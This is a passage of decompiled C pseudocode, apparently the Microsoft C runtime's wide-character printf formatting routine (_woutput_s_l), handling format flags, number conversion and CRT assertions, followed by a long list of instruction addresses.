																		goto L128;
																	}
																	L122:
																	 *(__ebp - 0x30) = 6;
																	goto L128;
																case 6:
																	L69:
																	 *(__ebp - 0xc) = 1;
																	__ebp + 0x14 = E004284A0(__ebp + 0x14);
																	 *(__ebp - 0x458) = __ax;
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) & 0x00000020;
																	__eflags = __ecx;
																	if(__ecx == 0) {
																		 *(__ebp - 0x448) =  *(__ebp - 0x458);
																	} else {
																		 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
																		 *(__ebp - 0x470) = __dl;
																		 *((char*)(__ebp - 0x46f)) = 0;
																		__ecx = __ebp - 0x40;
																		__eax = E0041AE20(__ebp - 0x40);
																		__ecx = __ebp - 0x40;
																		E0041AE20(__ebp - 0x40) =  *__eax;
																		__ecx =  *(__ebp - 0x448 + 0xac);
																		__edx = __ebp - 0x470;
																		__eax = __ebp - 0x448;
																		__eax = E0043B550(__ebp - 0x448, __ebp - 0x470,  *(__ebp - 0x448 + 0xac), __ebp - 0x448);
																		__eflags = __eax;
																		if(__eax < 0) {
																			 *(__ebp - 0x28) = 1;
																		}
																	}
																	__edx = __ebp - 0x448;
																	 *(__ebp - 4) = __ebp - 0x448;
																	 *(__ebp - 0x24) = 1;
																	while(1) {
																		L187:
																		__eflags =  *(_t674 - 0x28);
																		if( *(_t674 - 0x28) != 0) {
																			goto L212;
																		}
																		goto L188;
																	}
																case 7:
																	L141:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *((intOrPtr*)(__ebp - 8)) = 0xa;
																	L150:
																	__eflags =  *(_t674 - 0x10) & 0x00008000;
																	if(( *(_t674 - 0x10) & 0x00008000) == 0) {
																		_t623 =  *(_t674 - 0x10) & 0x00001000;
																		__eflags = _t623;
																		if(_t623 == 0) {
																			__eflags =  *(_t674 - 0x10) & 0x00000020;
																			if(( *(_t674 - 0x10) & 0x00000020) == 0) {
																				_t625 =  *(_t674 - 0x10) & 0x00000040;
																				__eflags = _t625;
																				if(_t625 == 0) {
																					_t483 = E004284A0(_t674 + 0x14);
																					_t676 = _t676 + 4;
																					__eflags = 0;
																					 *(_t674 - 0x4a0) = _t483;
																					 *(_t674 - 0x49c) = 0;
																				} else {
																					_t556 = E004284A0(_t674 + 0x14);
																					_t676 = _t676 + 4;
																					asm("cdq");
																					 *(_t674 - 0x4a0) = _t556;
																					 *(_t674 - 0x49c) = _t625;
																				}
																			} else {
																				_t671 =  *(_t674 - 0x10) & 0x00000040;
																				__eflags = _t671;
																				if(_t671 == 0) {
																					_t557 = E004284A0(_t674 + 0x14);
																					_t676 = _t676 + 4;
																					asm("cdq");
																					 *(_t674 - 0x4a0) = _t557 & 0x0000ffff;
																					 *(_t674 - 0x49c) = _t671;
																				} else {
																					_t560 = E004284A0(_t674 + 0x14);
																					_t676 = _t676 + 4;
																					asm("cdq");
																					 *(_t674 - 0x4a0) = _t560;
																					 *(_t674 - 0x49c) = _t671;
																				}
																			}
																		} else {
																			_t563 = E004284C0(_t674 + 0x14);
																			_t676 = _t676 + 4;
																			 *(_t674 - 0x4a0) = _t563;
																			 *(_t674 - 0x49c) = _t623;
																		}
																	} else {
																		_t564 = E004284C0(_t674 + 0x14);
																		_t676 = _t676 + 4;
																		 *(_t674 - 0x4a0) = _t564;
																		 *(_t674 - 0x49c) = _t621;
																	}
																	__eflags =  *(_t674 - 0x10) & 0x00000040;
																	if(( *(_t674 - 0x10) & 0x00000040) == 0) {
																		goto L167;
																	}
																case 8:
																	L106:
																	__eax = __ebp + 0x14;
																	 *(__ebp - 0x484) = E004284A0(__ebp + 0x14);
																	__eax = E00434040();
																	__eflags = __eax;
																	if(__eax != 0) {
																		L116:
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) & 0x00000020;
																		__eflags = __ecx;
																		if(__ecx == 0) {
																			__ecx =  *(__ebp - 0x484);
																			__edx =  *(__ebp - 0x44c);
																			 *__ecx =  *(__ebp - 0x44c);
																		} else {
																			__edx =  *(__ebp - 0x484);
																			__ax =  *(__ebp - 0x44c);
																			 *( *(__ebp - 0x484)) = __ax;
																		}
																		 *(__ebp - 0x28) = 1;
																		while(1) {
																			L187:
																			__eflags =  *(_t674 - 0x28);
																			if( *(_t674 - 0x28) != 0) {
																				goto L212;
																			}
																			goto L188;
																		}
																	}
																	L107:
																	__ecx = 0;
																	__eflags = 0;
																	if(0 == 0) {
																		 *(__ebp - 0x4f4) = 0;
																	} else {
																		 *(__ebp - 0x4f4) = 1;
																	}
																	__edx =  *(__ebp - 0x4f4);
																	 *(__ebp - 0x488) =  *(__ebp - 0x4f4);
																	__eflags =  *(__ebp - 0x488);
																	if( *(__ebp - 0x488) == 0) {
																		_push(L"(\"\'n\' format specifier disabled\", 0)");
																		_push(0);
																		_push(0x695);
																		_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																		_push(2);
																		__eax = L0041E350();
																		__esp = __esp + 0x14;
																		__eflags = __eax - 1;
																		if(__eax == 1) {
																			asm("int3");
																		}
																	}
																	__eflags =  *(__ebp - 0x488);
																	if( *(__ebp - 0x488) != 0) {
																		L115:
																		while(1) {
																			L187:
																			__eflags =  *(_t674 - 0x28);
																			if( *(_t674 - 0x28) != 0) {
																				goto L212;
																			}
																			goto L188;
																		}
																	} else {
																		L114:
																		 *((intOrPtr*)(L00422E40(__ecx))) = 0x16;
																		__eax = E00422BD0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																		 *(__ebp - 0x4cc) = 0xffffffff;
																		__ecx = __ebp - 0x40;
																		__eax = E0041ADF0(__ecx);
																		__eax =  *(__ebp - 0x4cc);
																		goto L225;
																	}
																case 9:
																	goto L0;
																case 0xa:
																	L143:
																	 *(__ebp - 0x30) = 8;
																	goto L144;
																case 0xb:
																	L84:
																	__eflags =  *(__ebp - 0x30) - 0xffffffff;
																	if( *(__ebp - 0x30) != 0xffffffff) {
																		__edx =  *(__ebp - 0x30);
																		 *(__ebp - 0x4f0) =  *(__ebp - 0x30);
																	} else {
																		 *(__ebp - 0x4f0) = 0x7fffffff;
																	}
																	__eax =  *(__ebp - 0x4f0);
																	 *(__ebp - 0x47c) =  *(__ebp - 0x4f0);
																	__ecx = __ebp + 0x14;
																	 *(__ebp - 4) = E004284A0(__ebp + 0x14);
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																	__eflags =  *(__ebp - 0x10) & 0x00000020;
																	if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																		L98:
																		__eflags =  *(__ebp - 4);
																		if( *(__ebp - 4) == 0) {
																			__ecx =  *0x440f84; // 0x404438
																			 *(__ebp - 4) = __ecx;
																		}
																		 *(__ebp - 0xc) = 1;
																		__edx =  *(__ebp - 4);
																		 *(__ebp - 0x480) =  *(__ebp - 4);
																		while(1) {
																			L101:
																			__eax =  *(__ebp - 0x47c);
																			__ecx =  *(__ebp - 0x47c);
																			__ecx =  *(__ebp - 0x47c) - 1;
																			 *(__ebp - 0x47c) = __ecx;
																			__eflags =  *(__ebp - 0x47c);
																			if( *(__ebp - 0x47c) == 0) {
																				break;
																			}
																			L102:
																			__edx =  *(__ebp - 0x480);
																			__eax =  *( *(__ebp - 0x480)) & 0x0000ffff;
																			__eflags =  *( *(__ebp - 0x480)) & 0x0000ffff;
																			if(( *( *(__ebp - 0x480)) & 0x0000ffff) == 0) {
																				break;
																			}
																			L103:
																			 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																			 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																		}
																		L104:
																		__edx =  *(__ebp - 0x480);
																		__edx =  *(__ebp - 0x480) -  *(__ebp - 4);
																		__eflags = __edx;
																		 *(__ebp - 0x24) = __edx;
																		goto L105;
																	} else {
																		L88:
																		__eflags =  *(__ebp - 4);
																		if( *(__ebp - 4) == 0) {
																			__eax =  *0x440f80; // 0x404448
																			 *(__ebp - 4) = __eax;
																		}
																		__ecx =  *(__ebp - 4);
																		 *(__ebp - 0x478) = __ecx;
																		 *(__ebp - 0x24) = 0;
																		while(1) {
																			L92:
																			__eax =  *(__ebp - 0x24);
																			__eflags =  *(__ebp - 0x24) -  *(__ebp - 0x47c);
																			if( *(__ebp - 0x24) >=  *(__ebp - 0x47c)) {
																				break;
																			}
																			L93:
																			__ecx =  *(__ebp - 0x478);
																			__edx =  *__ecx;
																			__eflags =  *__ecx;
																			if( *__ecx == 0) {
																				break;
																			}
																			L94:
																			__ecx = __ebp - 0x40;
																			E0041AE20(__ebp - 0x40) =  *(__ebp - 0x478);
																			__ecx =  *( *(__ebp - 0x478)) & 0x000000ff;
																			__eax = E00431350( *( *(__ebp - 0x478)) & 0x000000ff,  *(__ebp - 0x478));
																			__eflags = __eax;
																			if(__eax != 0) {
																				__edx =  *(__ebp - 0x478);
																				__edx =  *(__ebp - 0x478) + 1;
																				__eflags = __edx;
																				 *(__ebp - 0x478) = __edx;
																			}
																			 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																			 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																			__edx =  *(__ebp - 0x24);
																			__edx =  *(__ebp - 0x24) + 1;
																			__eflags = __edx;
																			 *(__ebp - 0x24) = __edx;
																		}
																		L97:
																		L105:
																		while(1) {
																			L187:
																			__eflags =  *(_t674 - 0x28);
																			if( *(_t674 - 0x28) != 0) {
																				goto L212;
																			}
																			goto L188;
																		}
																	}
																case 0xc:
																	L142:
																	 *((intOrPtr*)(__ebp - 8)) = 0xa;
																	while(1) {
																		L150:
																		__eflags =  *(_t674 - 0x10) & 0x00008000;
																		if(( *(_t674 - 0x10) & 0x00008000) == 0) {
																			_t623 =  *(_t674 - 0x10) & 0x00001000;
																			__eflags = _t623;
																			if(_t623 == 0) {
																				__eflags =  *(_t674 - 0x10) & 0x00000020;
																				if(( *(_t674 - 0x10) & 0x00000020) == 0) {
																					_t625 =  *(_t674 - 0x10) & 0x00000040;
																					__eflags = _t625;
																					if(_t625 == 0) {
																						_t483 = E004284A0(_t674 + 0x14);
																						_t676 = _t676 + 4;
																						__eflags = 0;
																						 *(_t674 - 0x4a0) = _t483;
																						 *(_t674 - 0x49c) = 0;
																					} else {
																						_t556 = E004284A0(_t674 + 0x14);
																						_t676 = _t676 + 4;
																						asm("cdq");
																						 *(_t674 - 0x4a0) = _t556;
																						 *(_t674 - 0x49c) = _t625;
																					}
																				} else {
																					_t671 =  *(_t674 - 0x10) & 0x00000040;
																					__eflags = _t671;
																					if(_t671 == 0) {
																						_t557 = E004284A0(_t674 + 0x14);
																						_t676 = _t676 + 4;
																						asm("cdq");
																						 *(_t674 - 0x4a0) = _t557 & 0x0000ffff;
																						 *(_t674 - 0x49c) = _t671;
																					} else {
																						_t560 = E004284A0(_t674 + 0x14);
																						_t676 = _t676 + 4;
																						asm("cdq");
																						 *(_t674 - 0x4a0) = _t560;
																						 *(_t674 - 0x49c) = _t671;
																					}
																				}
																			} else {
																				_t563 = E004284C0(_t674 + 0x14);
																				_t676 = _t676 + 4;
																				 *(_t674 - 0x4a0) = _t563;
																				 *(_t674 - 0x49c) = _t623;
																			}
																		} else {
																			_t564 = E004284C0(_t674 + 0x14);
																			_t676 = _t676 + 4;
																			 *(_t674 - 0x4a0) = _t564;
																			 *(_t674 - 0x49c) = _t621;
																		}
																		__eflags =  *(_t674 - 0x10) & 0x00000040;
																		if(( *(_t674 - 0x10) & 0x00000040) == 0) {
																			goto L167;
																		}
																		goto L163;
																	}
																case 0xd:
																	L145:
																	 *(__ebp - 0x460) = 0x27;
																	L146:
																	 *((intOrPtr*)(__ebp - 8)) = 0x10;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																	__eflags =  *(__ebp - 0x10) & 0x00000080;
																	if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																		__edx = 0x30;
																		 *((short*)(__ebp - 0x14)) = __dx;
																		 *(__ebp - 0x460) =  *(__ebp - 0x460) + 0x51;
																		__eflags =  *(__ebp - 0x460) + 0x51;
																		 *(__ebp - 0x12) = __ax;
																		 *(__ebp - 0x1c) = 2;
																	}
																	while(1) {
																		L150:
																		__eflags =  *(_t674 - 0x10) & 0x00008000;
																		if(( *(_t674 - 0x10) & 0x00008000) == 0) {
																			_t623 =  *(_t674 - 0x10) & 0x00001000;
																			__eflags = _t623;
																			if(_t623 == 0) {
																				__eflags =  *(_t674 - 0x10) & 0x00000020;
																				if(( *(_t674 - 0x10) & 0x00000020) == 0) {
																					_t625 =  *(_t674 - 0x10) & 0x00000040;
																					__eflags = _t625;
																					if(_t625 == 0) {
																						_t483 = E004284A0(_t674 + 0x14);
																						_t676 = _t676 + 4;
																						__eflags = 0;
																						 *(_t674 - 0x4a0) = _t483;
																						 *(_t674 - 0x49c) = 0;
																					} else {
																						_t556 = E004284A0(_t674 + 0x14);
																						_t676 = _t676 + 4;
																						asm("cdq");
																						 *(_t674 - 0x4a0) = _t556;
																						 *(_t674 - 0x49c) = _t625;
																					}
																				} else {
																					_t671 =  *(_t674 - 0x10) & 0x00000040;
																					__eflags = _t671;
																					if(_t671 == 0) {
																						_t557 = E004284A0(_t674 + 0x14);
																						_t676 = _t676 + 4;
																						asm("cdq");
																						 *(_t674 - 0x4a0) = _t557 & 0x0000ffff;
																						 *(_t674 - 0x49c) = _t671;
																					} else {
																						_t560 = E004284A0(_t674 + 0x14);
																						_t676 = _t676 + 4;
																						asm("cdq");
																						 *(_t674 - 0x4a0) = _t560;
																						 *(_t674 - 0x49c) = _t671;
																					}
																				}
																			} else {
																				_t563 = E004284C0(_t674 + 0x14);
																				_t676 = _t676 + 4;
																				 *(_t674 - 0x4a0) = _t563;
																				 *(_t674 - 0x49c) = _t623;
																			}
																		} else {
																			_t564 = E004284C0(_t674 + 0x14);
																			_t676 = _t676 + 4;
																			 *(_t674 - 0x4a0) = _t564;
																			 *(_t674 - 0x49c) = _t621;
																		}
																		__eflags =  *(_t674 - 0x10) & 0x00000040;
																		if(( *(_t674 - 0x10) & 0x00000040) == 0) {
																			goto L167;
																		}
																		goto L163;
																	}
																case 0xe:
																	while(1) {
																		L187:
																		__eflags =  *(_t674 - 0x28);
																		if( *(_t674 - 0x28) != 0) {
																			goto L212;
																		}
																		goto L188;
																	}
															}
														case 8:
															L24:
															__ecx =  *(__ebp - 0x10);
															__ecx =  *(__ebp - 0x10) | 0x00000002;
															 *(__ebp - 0x10) = __ecx;
															goto L27;
														case 9:
															L25:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
															goto L27;
														case 0xa:
															L23:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
															goto L27;
														case 0xb:
															L22:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
															goto L27;
														case 0xc:
															L26:
															__eax =  *(__ebp - 0x10);
															__eax =  *(__ebp - 0x10) | 0x00000008;
															__eflags = __eax;
															 *(__ebp - 0x10) = __eax;
															goto L27;
														case 0xd:
															L27:
															goto L214;
													}
												} else {
													_t642 = 0;
													if(0 == 0) {
														 *(_t674 - 0x4dc) = 0;
													} else {
														 *(_t674 - 0x4dc) = 1;
													}
													 *(_t674 - 0x46c) =  *(_t674 - 0x4dc);
													if( *(_t674 - 0x46c) == 0) {
														_push(L"(\"Incorrect format specifier\", 0)");
														_push(0);
														_push(0x460);
														_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
														_push(2);
														_t517 = L0041E350();
														_t676 = _t676 + 0x14;
														if(_t517 == 1) {
															asm("int3");
														}
													}
													L14:
													if( *(_t674 - 0x46c) != 0) {
														goto L16;
													} else {
														 *((intOrPtr*)(L00422E40(_t588))) = 0x16;
														E00422BD0(_t565, _t588, _t672, _t673, L"(\"Incorrect format specifier\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
														 *(_t674 - 0x4c8) = 0xffffffff;
														E0041ADF0(_t674 - 0x40);
														_t502 =  *(_t674 - 0x4c8);
														L225:
														return E0042BDF0(_t502, _t565,  *(_t674 - 0x48) ^ _t674, _t642, _t672, _t673);
													}
												}
											}
											L215:
											__eflags =  *(_t674 - 0x45c);
											if( *(_t674 - 0x45c) == 0) {
												L218:
												 *(_t674 - 0x4f8) = 1;
												L219:
												_t642 =  *(_t674 - 0x4f8);
												 *(_t674 - 0x4bc) =  *(_t674 - 0x4f8);
												__eflags =  *(_t674 - 0x4bc);
												if( *(_t674 - 0x4bc) == 0) {
													_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
													_push(0);
													_push(0x8f5);
													_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
													_push(2);
													_t507 = L0041E350();
													_t676 = _t676 + 0x14;
													__eflags = _t507 - 1;
													if(_t507 == 1) {
														asm("int3");
													}
												}
												__eflags =  *(_t674 - 0x4bc);
												if( *(_t674 - 0x4bc) != 0) {
													 *(_t674 - 0x4d4) =  *(_t674 - 0x44c);
													E0041ADF0(_t674 - 0x40);
													_t502 =  *(_t674 - 0x4d4);
												} else {
													 *((intOrPtr*)(L00422E40(_t580))) = 0x16;
													E00422BD0(_t565, _t580, _t672, _t673, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
													 *(_t674 - 0x4d0) = 0xffffffff;
													E0041ADF0(_t674 - 0x40);
													_t502 =  *(_t674 - 0x4d0);
												}
												goto L225;
											}
											L216:
											__eflags =  *(_t674 - 0x45c) - 7;
											if( *(_t674 - 0x45c) == 7) {
												goto L218;
											}
											L217:
											 *(_t674 - 0x4f8) = 0;
											goto L219;
										}
									}
									L184:
									__eflags =  *(_t674 - 0x24);
									if( *(_t674 - 0x24) == 0) {
										L186:
										 *((intOrPtr*)(_t674 - 4)) =  *((intOrPtr*)(_t674 - 4)) - 1;
										 *((char*)( *((intOrPtr*)(_t674 - 4)))) = 0x30;
										_t613 =  *(_t674 - 0x24) + 1;
										__eflags = _t613;
										 *(_t674 - 0x24) = _t613;
										goto L187;
									}
									L185:
									__eflags =  *((char*)( *((intOrPtr*)(_t674 - 4)))) - 0x30;
									if( *((char*)( *((intOrPtr*)(_t674 - 4)))) == 0x30) {
										goto L187;
									}
									goto L186;
								}
								L180:
								asm("cdq");
								_t632 =  *(_t674 - 0x4a8);
								 *(_t674 - 0x494) = E004308C0(_t632,  *(_t674 - 0x4a4),  *(_t674 - 8), _t631) + 0x30;
								asm("cdq");
								 *(_t674 - 0x4a8) = E00430940( *(_t674 - 0x4a8),  *(_t674 - 0x4a4),  *(_t674 - 8), _t632);
								 *(_t674 - 0x4a4) = _t632;
								__eflags =  *(_t674 - 0x494) - 0x39;
								if( *(_t674 - 0x494) > 0x39) {
									_t636 =  *(_t674 - 0x494) +  *((intOrPtr*)(_t674 - 0x460));
									__eflags = _t636;
									 *(_t674 - 0x494) = _t636;
								}
								 *((char*)( *((intOrPtr*)(_t674 - 4)))) =  *(_t674 - 0x494);
								 *((intOrPtr*)(_t674 - 4)) =  *((intOrPtr*)(_t674 - 4)) - 1;
								L178:
								_t631 =  *(_t674 - 0x30) - 1;
								 *(_t674 - 0x30) =  *(_t674 - 0x30) - 1;
								__eflags =  *(_t674 - 0x30);
								if( *(_t674 - 0x30) > 0) {
									goto L180;
								}
								goto L179;
							}
						}
						L165:
						__eflags =  *(_t674 - 0x4a0);
						if( *(_t674 - 0x4a0) >= 0) {
							goto L167;
						}
						goto L166;
						L167:
						 *(_t674 - 0x4a8) =  *(_t674 - 0x4a0);
						 *(_t674 - 0x4a4) =  *(_t674 - 0x49c);
						goto L168;
					}
				}
			}

0x0043c3c4
0x0043c3c4
0x0043c3c4
0x0043c3c4
0x0043c3c4
0x0043c3c4
0x0043c3c4
0x0043c3d4
0x0043c3d6
0x0043c3d9
0x0043c3d9
0x0043c3df
0x0043c3df
0x0043c3e2
0x0043c3e2
0x0043c3e5
0x0043c3ea
0x0043c40c
0x0043c40c
0x0043c412
0x0043c434
0x0043c437
0x0043c47e
0x0043c47e
0x0043c481
0x0043c4a2
0x0043c4a7
0x0043c4aa
0x0043c4ac
0x0043c4b2
0x0043c483
0x0043c487
0x0043c48c
0x0043c48f
0x0043c490
0x0043c496
0x0043c496
0x0043c439
0x0043c43c
0x0043c43c
0x0043c43f
0x0043c461
0x0043c466
0x0043c46c
0x0043c46d
0x0043c473
0x0043c441
0x0043c445
0x0043c44a
0x0043c44e
0x0043c44f
0x0043c455
0x0043c455
0x0043c479
0x0043c414
0x0043c418
0x0043c41d
0x0043c420
0x0043c426
0x0043c426
0x0043c3ec
0x0043c3f0
0x0043c3f5
0x0043c3f8
0x0043c3fe
0x0043c3fe
0x0043c4bb
0x0043c4be
0x00000000
0x00000000
0x0043c4c0
0x0043c4c0
0x0043c4c7
0x00000000
0x00000000
0x0043c4c9
0x0043c4c9
0x0043c4d4
0x0043c4e2
0x0043c4e7
0x0043c4ed
0x0043c4fb
0x0043c518
0x0043c51b
0x0043c520
0x0043c525
0x0043c52b
0x0043c539
0x0043c539
0x0043c542
0x0043c542
0x0043c52b
0x0043c548
0x0043c54c
0x0043c55d
0x0043c560
0x0043c567
0x0043c569
0x0043c569
0x0043c54e
0x0043c54e
0x0043c54e
0x0043c576
0x0043c57c
0x0043c57e
0x0043c57e
0x0043c58b
0x0043c58e
0x0043c58e
0x0043c594
0x0043c597
0x0043c59a
0x0043c59c
0x00000000
0x00000000
0x0043c59e
0x0043c5a4
0x0043c5aa
0x0043c627
0x0043c630
0x0043c639
0x0043c63f
0x0043c645
0x0043c670
0x0043c670
0x0043c670
0x0043c674
0x00000000
0x00000000
0x0043c67a
0x0043c67d
0x0043c680
0x0043c685
0x0043c68a
0x0043c6a1
0x0043c6a4
0x0043c6bb
0x0043c6be
0x0043c6c5
0x0043c6c9
0x0043c6c9
0x0043c6a6
0x0043c6ab
0x0043c6af
0x0043c6af
0x0043c68c
0x0043c691
0x0043c695
0x0043c695
0x0043c68a
0x0043c6d9
0x0043c6e2
0x0043c6e5
0x0043c6fb
0x0043c700
0x0043c700
0x0043c716
0x0043c71b
0x0043c721
0x0043c724
0x0043c729
0x0043c72c
0x0043c742
0x0043c747
0x0043c747
0x0043c72c
0x0043c74a
0x0043c74e
0x0043c808
0x0043c81b
0x0043c820
0x00000000
0x0043c754
0x0043c754
0x0043c754
0x0043c758
0x00000000
0x00000000
0x0043c75e
0x0043c761
0x0043c76a
0x0043c770
0x0043c770
0x0043c77f
0x0043c785
0x0043c787
0x00000000
0x00000000
0x0043c789
0x0043c78c
0x0043c7b1
0x0043c7b6
0x0043c7b9
0x0043c7bf
0x0043c7c6
0x0043c7d4
0x0043c7e7
0x0043c7ec
0x0043c7fb
0x00000000
0x0043c7fb
0x0043c7c8
0x0043c7c8
0x00000000
0x0043c7c8
0x0043c806
0x0043c823
0x0043c823
0x0043c82a
0x0043c82f
0x0043c832
0x0043c848
0x0043c84d
0x0043c84d
0x0043c832
0x0043c82a
0x0043c850
0x0043c850
0x0043c854
0x0043c85c
0x0043c861
0x0043c864
0x0043c864
0x0043c86b
0x0043c86b
0x0043b9eb
0x0043b9f2
0x0043b9ff
0x0043ba04
0x00000000
0x0043ba17
0x0043ba21
0x0043ba48
0x0043ba2f
0x0043ba40
0x0043ba40
0x0043ba21
0x0043ba52
0x0043ba58
0x0043ba64
0x0043ba67
0x0043ba75
0x0043ba78
0x0043ba85
0x0043bb2a
0x0043bb30
0x0043bb36
0x0043bb3d
0x00000000
0x00000000
0x0043bb43
0x0043bb49
0x00000000
0x0043bb50
0x0043bb50
0x0043bb6a
0x0043bb6f
0x00000000
0x00000000
0x0043bb77
0x0043bb77
0x0043bb7e
0x0043bb81
0x0043bb84
0x0043bb87
0x0043bb8a
0x0043bb8d
0x0043bb90
0x0043bb97
0x0043bb9e
0x00000000
0x00000000
0x0043bbaa
0x0043bbaa
0x0043bbb1
0x0043bbbd
0x0043bbc0
0x0043bbc6
0x0043bbcd
0x00000000
0x00000000
0x0043bbcf
0x0043bbd5
0x0043bbd5
0x0043bbdc
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bc20
0x0043bc20
0x0043bc27
0x0043bc2a
0x0043bc54
0x0043bc57
0x0043bc57
0x0043bc61
0x0043bc61
0x0043bc65
0x0043bc2c
0x0043bc2c
0x0043bc38
0x0043bc3b
0x0043bc3f
0x0043bc41
0x0043bc44
0x0043bc44
0x0043bc47
0x0043bc4a
0x0043bc4d
0x0043bc4f
0x0043bc4f
0x0043bc52
0x0043bc68
0x00000000
0x00000000
0x0043bc6d
0x0043bc6d
0x00000000
0x00000000
0x0043bc79
0x0043bc79
0x0043bc80
0x0043bc83
0x0043bca3
0x0043bca6
0x0043bca6
0x0043bcb0
0x0043bcb0
0x0043bcb4
0x0043bc85
0x0043bc85
0x0043bc91
0x0043bc94
0x0043bc98
0x0043bc9a
0x0043bc9a
0x0043bca1
0x00000000
0x00000000
0x0043bcbc
0x0043bcbc
0x0043bcc3
0x0043bccf
0x0043bcd2
0x0043bcd8
0x0043bcdf
0x0043bdf2
0x00000000
0x0043bdf2
0x0043bce5
0x0043bceb
0x0043bceb
0x0043bcf2
0x00000000
0x0043bd29
0x0043bd29
0x0043bd2c
0x0043bd2f
0x0043bd32
0x0043bd59
0x0043bd59
0x0043bd5c
0x0043bd5f
0x0043bd62
0x0043bd86
0x0043bd86
0x0043bd89
0x0043bd8c
0x0043bd8f
0x0043bdc8
0x0043bdd9
0x00000000
0x0043bdd9
0x0043bd91
0x0043bd91
0x0043bd94
0x0043bd97
0x0043bd9a
0x00000000
0x00000000
0x0043bd9c
0x0043bd9c
0x0043bd9f
0x0043bda2
0x0043bda5
0x00000000
0x00000000
0x0043bda7
0x0043bda7
0x0043bdaa
0x0043bdad
0x0043bdb0
0x00000000
0x00000000
0x0043bdb2
0x0043bdb2
0x0043bdb5
0x0043bdb8
0x0043bdbb
0x00000000
0x00000000
0x0043bdbd
0x0043bdbd
0x0043bdc0
0x0043bdc3
0x0043bdc6
0x0043bdca
0x00000000
0x0043bdca
0x00000000
0x0043bdc6
0x0043bd64
0x0043bd64
0x0043bd67
0x0043bd6b
0x0043bd6e
0x00000000
0x0043bd70
0x0043bd73
0x0043bd76
0x0043bd7c
0x0043bd81
0x00000000
0x0043bd81
0x0043bd6e
0x0043bd34
0x0043bd34
0x0043bd37
0x0043bd3b
0x0043bd3e
0x00000000
0x0043bd40
0x0043bd43
0x0043bd46
0x0043bd4c
0x0043bd51
0x00000000
0x0043bd51
0x00000000
0x0043bddb
0x0043bddb
0x0043bdde
0x0043bde1
0x00000000
0x00000000
0x0043bcf9
0x0043bcf9
0x0043bcfc
0x0043bcff
0x0043bd02
0x0043bd1b
0x0043bd1e
0x0043bd1e
0x0043bd21
0x0043bd04
0x0043bd04
0x0043bd07
0x0043bd0a
0x0043bd10
0x0043bd16
0x0043bd16
0x00000000
0x00000000
0x0043bde6
0x0043bde6
0x0043bde9
0x0043bde9
0x0043bdef
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bdf7
0x0043bdf7
0x0043bdfe
0x0043be04
0x0043be0a
0x0043be0d
0x0043be13
0x0043be1a
0x0043c670
0x0043c670
0x0043c670
0x0043c674
0x00000000
0x00000000
0x00000000
0x0043c674
0x0043c670
0x0043be20
0x0043be26
0x0043be26
0x0043be2d
0x00000000
0x0043c1b1
0x0043c1b1
0x0043c1bf
0x0043c1bf
0x0043c1c2
0x00000000
0x00000000
0x0043be34
0x0043be37
0x0043be37
0x0043be3d
0x0043be3f
0x0043be42
0x0043be42
0x0043be45
0x0043be45
0x00000000
0x00000000
0x0043bf7a
0x0043bf7d
0x0043bf7d
0x0043bf82
0x0043bf84
0x0043bf87
0x0043bf87
0x0043bf8a
0x0043bf8a
0x00000000
0x00000000
0x0043c37d
0x0043c37d
0x00000000
0x00000000
0x0043bee4
0x0043bee4
0x0043bef0
0x0043bef6
0x0043befd
0x0043bf0b
0x0043bf0b
0x0043bf11
0x0043bf14
0x0043bf20
0x0043bf75
0x00000000
0x0043bf75
0x0043beff
0x0043beff
0x0043bf05
0x0043bf09
0x0043bf28
0x0043bf28
0x0043bf2e
0x0043bf56
0x0043bf5d
0x0043bf63
0x0043bf66
0x0043bf69
0x0043bf6f
0x0043bf72
0x0043bf30
0x0043bf30
0x0043bf36
0x0043bf39
0x0043bf3c
0x0043bf42
0x0043bf45
0x0043bf48
0x0043bf4a
0x0043bf4d
0x0043bf4d
0x00000000
0x0043bf2e
0x00000000
0x00000000
0x0043c1c9
0x0043c1cc
0x0043c1cf
0x0043c1d2
0x0043c1d8
0x0043c1db
0x0043c1e2
0x0043c1e6
0x0043c1f1
0x0043c1f1
0x0043c1f5
0x0043c20c
0x0043c20c
0x0043c213
0x0043c215
0x0043c215
0x0043c21c
0x0043c21c
0x0043c223
0x0043c231
0x0043c234
0x0043c243
0x0043c246
0x0043c24a
0x0043c25f
0x0043c24c
0x0043c24c
0x0043c24f
0x0043c255
0x0043c25a
